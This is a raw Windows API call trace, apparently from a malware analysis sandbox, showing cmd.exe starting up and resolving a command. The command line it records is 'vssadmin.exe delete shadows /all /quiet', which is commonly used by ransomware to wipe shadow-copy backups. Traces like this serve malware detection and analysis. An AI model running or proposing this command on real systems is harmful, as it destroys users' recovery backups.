[0242.320] VirtualQuery (in: lpAddress=0x1f4000, lpBuffer=0x2ef890, dwLength=0x30 | out: lpBuffer=0x2ef890*(BaseAddress=0x1f4000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
[0242.320] VirtualQuery (in: lpAddress=0x2f0000, lpBuffer=0x2ef890, dwLength=0x30 | out: lpBuffer=0x2ef890*(BaseAddress=0x2f0000, AllocationBase=0x2f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
[0242.320] GetConsoleOutputCP () returned 0x1b5
[0242.321] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1
[0242.321] SetConsoleCtrlHandler (HandlerRoutine=0x4a463184, Add=1) returned 1
[0242.322] _get_osfhandle (_FileHandle=1) returned 0x1524
[0242.322] SetConsoleMode (hConsoleHandle=0x1524, dwMode=0x0) returned 0
[0242.322] _get_osfhandle (_FileHandle=1) returned 0x1524
[0242.322] GetConsoleMode (in: hConsoleHandle=0x1524, lpMode=0x4a46e194 | out: lpMode=0x4a46e194) returned 0
[0242.322] _get_osfhandle (_FileHandle=0) returned 0xfffffffffffffffe
[0242.323] GetConsoleMode (in: hConsoleHandle=0xfffffffffffffffe, lpMode=0x4a46e198 | out: lpMode=0x4a46e198) returned 1
[0242.324] _get_osfhandle (_FileHandle=0) returned 0xfffffffffffffffe
[0242.324] SetConsoleMode (hConsoleHandle=0xfffffffffffffffe, dwMode=0x7) returned 0
[0242.325] GetEnvironmentStringsW () returned 0x408a60*
[0242.325] GetProcessHeap () returned 0x3f0000
[0242.325] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa7c) returned 0x4094f0
[0242.325] FreeEnvironmentStringsW (penv=0x408a60) returned 1
[0242.326] GetProcessHeap () returned 0x3f0000
[0242.326] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8) returned 0x4088e0
[0242.326] GetEnvironmentStringsW () returned 0x408a60*
[0242.326] GetProcessHeap () returned 0x3f0000
[0242.326] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa7c) returned 0x409f80
[0242.326] FreeEnvironmentStringsW (penv=0x408a60) returned 1
[0242.327] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee7e8 | out: phkResult=0x2ee7e8*=0x44) returned 0x0
[0242.327] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x0, lpData=0x2ee800*=0x18, lpcbData=0x2ee7e4*=0x1000) returned 0x2
[0242.327] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x1, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.327] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x0, lpData=0x2ee800*=0x1, lpcbData=0x2ee7e4*=0x1000) returned 0x2
[0242.327] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x0, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.327] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x40, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.327] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x40, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.327] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x0, lpData=0x2ee800*=0x40, lpcbData=0x2ee7e4*=0x1000) returned 0x2
[0242.327] RegCloseKey (hKey=0x44) returned 0x0
[0242.328] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ee7e8 | out: phkResult=0x2ee7e8*=0x44) returned 0x0
[0242.328] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x0, lpData=0x2ee800*=0x40, lpcbData=0x2ee7e4*=0x1000) returned 0x2
[0242.328] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x1, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.328] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x0, lpData=0x2ee800*=0x1, lpcbData=0x2ee7e4*=0x1000) returned 0x2
[0242.328] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x0, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.328] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x9, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.328] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x4, lpData=0x2ee800*=0x9, lpcbData=0x2ee7e4*=0x4) returned 0x0
[0242.328] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ee7e0, lpData=0x2ee800, lpcbData=0x2ee7e4*=0x1000 | out: lpType=0x2ee7e0*=0x0, lpData=0x2ee800*=0x9, lpcbData=0x2ee7e4*=0x1000) returned 0x2
[0242.328] RegCloseKey (hKey=0x44) returned 0x0
[0242.329] time (in: timer=0x0 | out: timer=0x0) returned 0x5f93295e
[0242.329] srand (_Seed=0x5f93295e)
[0242.329] GetCommandLineW () returned="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet"
[0242.329] GetCommandLineW () returned="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet"
[0242.329] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a47c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0242.330] GetProcessHeap () returned 0x3f0000
[0242.330] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x218) returned 0x40aa10
[0242.330] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x40aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
[0242.330] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
[0242.330] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
[0242.330] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0242.331] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
[0242.331] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
[0242.331] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
[0242.331] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
[0242.331] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
[0242.331] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
[0242.331] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
[0242.331] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
[0242.331] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
[0242.331] GetProcessHeap () returned 0x3f0000
[0242.331] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x4094f0 | out: hHeap=0x3f0000) returned 1
[0242.331] GetEnvironmentStringsW () returned 0x408a60*
[0242.332] GetProcessHeap () returned 0x3f0000
[0242.332] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa94) returned 0x40b6d0
[0242.332] FreeEnvironmentStringsW (penv=0x408a60) returned 1
[0242.332] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0242.332] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
[0242.332] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
[0242.332] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
[0242.332] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
[0242.332] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
[0242.332] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
[0242.332] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
[0242.332] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
[0242.333] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
[0242.333] GetProcessHeap () returned 0x3f0000
[0242.333] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5c) returned 0x3f1320
[0242.333] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2ef5f0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0242.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2ef5f0, lpFilePart=0x2ef5d0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2ef5d0*="Desktop") returned 0x25
[0242.333] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
[0242.333] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2ef300 | out: lpFindFileData=0x2ef300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe60000e6, cFileName="Users", cAlternateFileName="")) returned 0x3f1390
[0242.334] FindClose (in: hFindFile=0x3f1390 | out: hFindFile=0x3f1390) returned 1
[0242.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2ef300 | out: lpFindFileData=0x2ef300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1e1f0e00, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x1e1f0e00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe60000e6, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x3f1390
[0242.334] FindClose (in: hFindFile=0x3f1390 | out: hFindFile=0x3f1390) returned 1
[0242.334] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
[0242.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2ef300 | out: lpFindFileData=0x2ef300*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x663f97e0, ftLastAccessTime.dwHighDateTime=0x1d6a96f, ftLastWriteTime.dwLowDateTime=0x663f97e0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe60000e6, cFileName="Desktop", cAlternateFileName="")) returned 0x3f1390
[0242.335] FindClose (in: hFindFile=0x3f1390 | out: hFindFile=0x3f1390) returned 1
[0242.335] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
[0242.335] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
[0242.335] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
[0242.335] GetProcessHeap () returned 0x3f0000
[0242.335] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40b6d0 | out: hHeap=0x3f0000) returned 1
[0242.335] GetEnvironmentStringsW () returned 0x408a60*
[0242.335] GetProcessHeap () returned 0x3f0000
[0242.335] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae8) returned 0x40ac30
[0242.335] FreeEnvironmentStringsW (penv=0x408a60) returned 1
[0242.335] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a47c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0242.335] GetProcessHeap () returned 0x3f0000
[0242.335] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x3f1320 | out: hHeap=0x3f0000) returned 1
[0242.335] GetProcessHeap () returned 0x3f0000
[0242.336] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4016) returned 0x40cc60
[0242.337] GetProcessHeap () returned 0x3f0000
[0242.337] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x40b720
[0242.337] GetProcessHeap () returned 0x3f0000
[0242.337] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc60 | out: hHeap=0x3f0000) returned 1
[0242.337] GetConsoleOutputCP () returned 0x1b5
[0242.337] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a47bfe0 | out: lpCPInfo=0x4a47bfe0) returned 1
[0242.337] GetUserDefaultLCID () returned 0x409
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a477b50, cchData=8 | out: lpLCData=":") returned 2
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2ef700, cchData=128 | out: lpLCData="0") returned 2
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2ef700, cchData=128 | out: lpLCData="0") returned 2
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2ef700, cchData=128 | out: lpLCData="1") returned 2
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a48a740, cchData=8 | out: lpLCData="/") returned 2
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a48a4a0, cchData=32 | out: lpLCData="Mon") returned 4
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a48a460, cchData=32 | out: lpLCData="Tue") returned 4
[0242.339] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a48a420, cchData=32 | out: lpLCData="Wed") returned 4
[0242.340] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a48a3e0, cchData=32 | out: lpLCData="Thu") returned 4
[0242.340] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a48a3a0, cchData=32 | out: lpLCData="Fri") returned 4
[0242.340] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a48a360, cchData=32 | out: lpLCData="Sat") returned 4
[0242.340] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a48a700, cchData=32 | out: lpLCData="Sun") returned 4
[0242.340] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a477b40, cchData=8 | out: lpLCData=".") returned 2
[0242.340] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a48a4e0, cchData=8 | out: lpLCData=",") returned 2
[0242.340] setlocale (category=0, locale=".OCP") returned="English_United States.437"
[0242.342] GetProcessHeap () returned 0x3f0000
[0242.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x0, Size=0x20c) returned 0x40b800
[0242.342] GetConsoleTitleW (in: lpConsoleTitle=0x40b800, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0242.343] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000
[0242.343] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0
[0242.343] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290
[0242.343] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0
[0242.344] GetProcessHeap () returned 0x3f0000
[0242.344] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4012) returned 0x40cc60
[0242.344] GetProcessHeap () returned 0x3f0000
[0242.344] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x40cc60 | out: hHeap=0x3f0000) returned 1
[0242.346] _wcsicmp (_String1="vssadmin.exe", _String2=")") returned 77
[0242.346] _wcsicmp (_String1="FOR", _String2="vssadmin.exe") returned -16
[0242.346] _wcsicmp (_String1="FOR/?", _String2="vssadmin.exe") returned -16
[0242.346] _wcsicmp (_String1="IF", _String2="vssadmin.exe") returned -13
[0242.346] _wcsicmp (_String1="IF/?", _String2="vssadmin.exe") returned -13
[0242.346] _wcsicmp (_String1="REM", _String2="vssadmin.exe") returned -4
[0242.346] _wcsicmp (_String1="REM/?", _String2="vssadmin.exe") returned -4
[0242.346] GetProcessHeap () returned 0x3f0000
[0242.346] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x40ba20
[0242.346] GetProcessHeap () returned 0x3f0000
[0242.346] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x2a) returned 0x406440
[0242.347] GetProcessHeap () returned 0x3f0000
[0242.348] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x48) returned 0x40bae0
[0242.349] GetConsoleTitleW (in: lpConsoleTitle=0x2ef610, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
[0242.386] GetFileAttributesW (lpFileName="vssadmin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vssadmin.exe")) returned 0xffffffff
[0242.387] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
[0242.387] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
[0242.387] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
[0242.387] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
[0242.387] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
[0242.387] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
[0242.387] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
[0242.387] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
[0242.387] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
[0242.387] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
[0242.387] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
[0242.387] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
[0242.387] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
[0242.387] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
[0242.387] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
[0242.387] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
[0242.387] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
[0242.388] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
[0242.388] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
[0242.388] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
[0242.388] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
[0242.388] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
[0242.388] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
[0242.388] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
[0242.388] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
[0242.388] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
[0242.388] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
[0242.388] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
[0242.388] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
[0242.388] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
[0242.388] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
[0242.388] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
[0242.388] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
[0242.388] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
[0242.388] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
[0242.388] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
[0242.388] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
[0242.389] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
[0242.389] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
[0242.389] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
[0242.389] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
[0242.389] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
[0242.389] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18
[0242.389] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17
[0242.389] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18
[0242.389] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2
[0242.389] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19
[0242.389] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19
[0242.389] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19
[0242.389] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4
[0242.389] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4
[0242.389] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17
[0242.389] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3
[0242.390] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6
[0242.390] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18
[0242.390] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2
[0242.390] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6
[0242.390] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9
[0242.390] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9
[0242.390] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4
[0242.390] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4
[0242.390] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6
[0242.390] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15
[0242.390] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3
[0242.390] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19
[0242.390] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19
[0242.390] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14
[0242.390] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14
[0242.390] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4
[0242.391] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17
[0242.391] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3
[0242.391] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17
[0242.391] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2
[0242.391] _wcsicmp (_String1="vssadmin", _String2="START") returned 3
[0242.391] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18
[0242.391] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11
[0242.391] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9
[0242.391] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6
[0242.391] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6
[0242.391] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21
[0242.391] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16
[0242.391] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20
[0242.391] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19
[0242.391] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9
[0242.391] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16
[0242.391] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13
[0242.392] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4
[0242.393] GetProcessHeap () returned 0x3f0000
[0242.393] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x218) returned 0x40bb30
[0242.393] GetProcessHeap () returned 0x3f0000
[0242.393] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x40bd50
[0242.393] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19
[0242.394] GetProcessHeap () returned 0x3f0000
[0242.394] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x420) returned 0x3f1320
[0242.394] SetErrorMode (uMode=0x0) returned 0x0
[0242.394] SetErrorMode (uMode=0x1) returned 0x0
[0242.394] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3f1330, lpFilePart=0x2eeea0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2eeea0*="Desktop") returned 0x25
[0242.394] SetErrorMode (uMode=0x0) returned 0x1
[0242.395] GetProcessHeap () returned 0x3f0000
[0242.395] RtlReAllocateHeap (Heap=0x3f0000, Flags=0x0, Ptr=0x3f1320, Size=0x76) returned 0x3f1320
[0242.395] GetProcessHeap () returned 0x3f0000
[0242.395] RtlSizeHeap (HeapHandle=0x3f0000, Flags=0x0, MemoryPointer=0x3f1320) returned 0x76
[0242.395] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a46f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
[0242.395] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
[0242.396] GetProcessHeap () returned 0x3f0000
[0242.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x128) returned 0x40bdc0
[0242.396] GetProcessHeap () returned 0x3f0000
